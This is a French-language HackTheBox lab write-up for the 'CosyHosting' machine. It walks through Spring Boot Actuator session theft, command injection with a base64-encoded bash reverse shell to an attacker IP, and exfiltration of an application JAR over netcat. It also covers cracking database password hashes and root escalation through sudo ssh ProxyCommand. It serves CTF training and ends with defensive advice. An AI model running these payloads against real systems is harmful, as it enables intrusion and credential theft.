HackTheBox Writeup

CosyHosting

CosyHosting - HackTheBox

Vue d'Ensemble

PropriétéValeur
IP10.10.11.230
OSLinux
DifficultéEasy
Points ClésSpring Boot Actuator, Command Injection, SSH ProxyCommand Abuse

Phase 1 : Reconnaissance

Scan de Ports

nmap -p- --min-rate 10000 10.10.11.230
nmap -p 22,80 -sCV 10.10.11.230

Ports importants :

  • 22 : SSH
  • 80 : HTTP (nginx 1.18.0)

Configuration DNS

echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts

Phase 2 : Énumération Web

Découverte de Répertoires

feroxbuster -u http://cozyhosting.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Découvertes importantes :

  • /actuator - Spring Boot Actuator endpoints
  • /admin - Interface d'administration

Phase 3 : Exploitation Spring Boot Actuator

Énumération des Endpoints

Endpoints exposés :

  • /actuator/sessions - Sessions actives
  • /actuator/mappings - Mappings de routes
  • /actuator/env - Variables d'environnement

Vol de Session

Récupération des sessions actives :

curl http://cozyhosting.htb/actuator/sessions | jq

Résultat exemple :

{
  "4E3784FE9Y": "kanderson",
  "8A7F2C1D3B": "admin"
}

Utilisation de la Session

Dans le navigateur :

  1. Ouvrir DevTools (F12)
  2. Application → Cookies
  3. Modifier JSESSIONID avec la valeur récupérée
  4. Recharger /admin

Résultat : Accès au panneau d'administration.


Phase 4 : Command Injection via /executessh

Analyse de la Fonctionnalité

L'interface admin propose une fonctionnalité qui exécute :

ssh -i [key] [username]@[host]

Vulnérabilité : Le paramètre username est injecté sans validation.

Contrainte : Les espaces sont filtrés.

Bypass du Filtre d'Espaces

Techniques :

  • Utiliser ${IFS} (Internal Field Separator)
  • Utiliser l'expansion d'accolades {cmd,arg1,arg2}

Préparation du Listener

nc -lvnp 9001

Payload de Reverse Shell

Encodage du payload en base64 :

echo 'bash -i >& /dev/tcp/10.10.14.122/9001 0>&1' | base64
# Résultat: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYxCg==

Payload d'injection :

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYxCg=="|base64${IFS}-d|bash;

Alternative avec expansion d'accolades :

0xdf;{ping,-c,1,10.10.14.6};#

Exécution de l'Exploit

Requête POST vers /executessh via Burp Suite :

POST /executessh HTTP/1.1
Host: cozyhosting.htb
Cookie: JSESSIONID=<session_volée>
Content-Type: application/x-www-form-urlencoded

host=example.com&username=;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYxCg=="|base64${IFS}-d|bash;

Résultat : Shell en tant que www-data.

Amélioration du Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
# ou
script /dev/null -c bash

Phase 5 : Post-Exploitation - Accès à Josh

Récupération du JAR

Transfert du fichier :

# Sur la cible
cat /app/cloudhosting-0.0.1.jar | nc 10.10.14.122 443

# Sur l'attaquant
nc -lvnp 443 > cloudhosting-0.0.1.jar

Extraction des Credentials

Décompression du JAR :

unzip cloudhosting-0.0.1.jar
cat BOOT-INF/classes/application.properties

Credentials trouvés :

spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

Connexion à PostgreSQL

PGPASSWORD='Vg&nvzAQ7XxR' psql -U postgres -h localhost -d cozyhosting

Extraction des utilisateurs :

\dt
SELECT * FROM users;

Hashes récupérés :

kanderson:$2a$10$E/...
admin:$2a$10$SpK...

Craquage des Hashes

hashcat -m 3200 --user hashes.txt /usr/share/wordlists/rockyou.txt
hashcat --show -m 3200 hashes.txt

Résultat : admin:manchesterunited

Connexion SSH

ssh [email protected]
# Mot de passe: manchesterunited

ou

sshpass -p manchesterunited ssh [email protected]

🚩 Flag User

cat /home/josh/user.txt

🚩 Flag User: HTB{...}


Phase 6 : Escalade Root

Énumération des Privilèges Sudo

sudo -l

Résultat : (root) /usr/bin/ssh *

Exploitation via ProxyCommand

Principe : L'option ProxyCommand de SSH est exécutée localement avec les privilèges de l'utilisateur lançant SSH (ici root via sudo).

Méthode 1 : Shell interactif immédiat

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Méthode 2 : Copie de bash avec SUID

# Copier bash
sudo ssh -o ProxyCommand='cp /bin/bash /tmp/0xdf' localhost

# Définir SUID
sudo ssh -o ProxyCommand='chmod 6777 /tmp/0xdf' localhost

# Lancer le shell root
/tmp/0xdf -p

Méthode 3 : Création de fichier root

sudo ssh -o ProxyCommand='touch /tmp/pwned' x
ls -la /tmp/pwned

🚩 Flag Root

cat /root/root.txt

🚩 Flag Root: HTB{...}


Compétences Développées

  • Exploitation de Spring Boot Actuator
  • Vol et manipulation de sessions
  • Command injection avec bypass de filtres
  • Extraction de credentials depuis JAR files
  • Exploitation de sudo via ProxyCommand SSH

Outils Utilisés

  • nmap - Reconnaissance réseau
  • feroxbuster - Énumération web
  • curl + jq - Interaction avec API
  • burpsuite - Manipulation de requêtes HTTP
  • nc - Reverse shell
  • psql - Client PostgreSQL
  • hashcat - Craquage de mots de passe
  • ssh / sshpass - Connexion distante

Bonnes Pratiques

  • Limiter l'exposition des endpoints Spring Boot Actuator en production
  • Ne jamais laisser de credentials en clair dans les artefacts déployés
  • Restreindre les privilèges sudo avec des règles précises
  • Valider et échapper toutes les entrées utilisateur

Références

  • Spring Boot Actuator Security
  • SSH ProxyCommand Exploitation
  • GTFOBins - SSH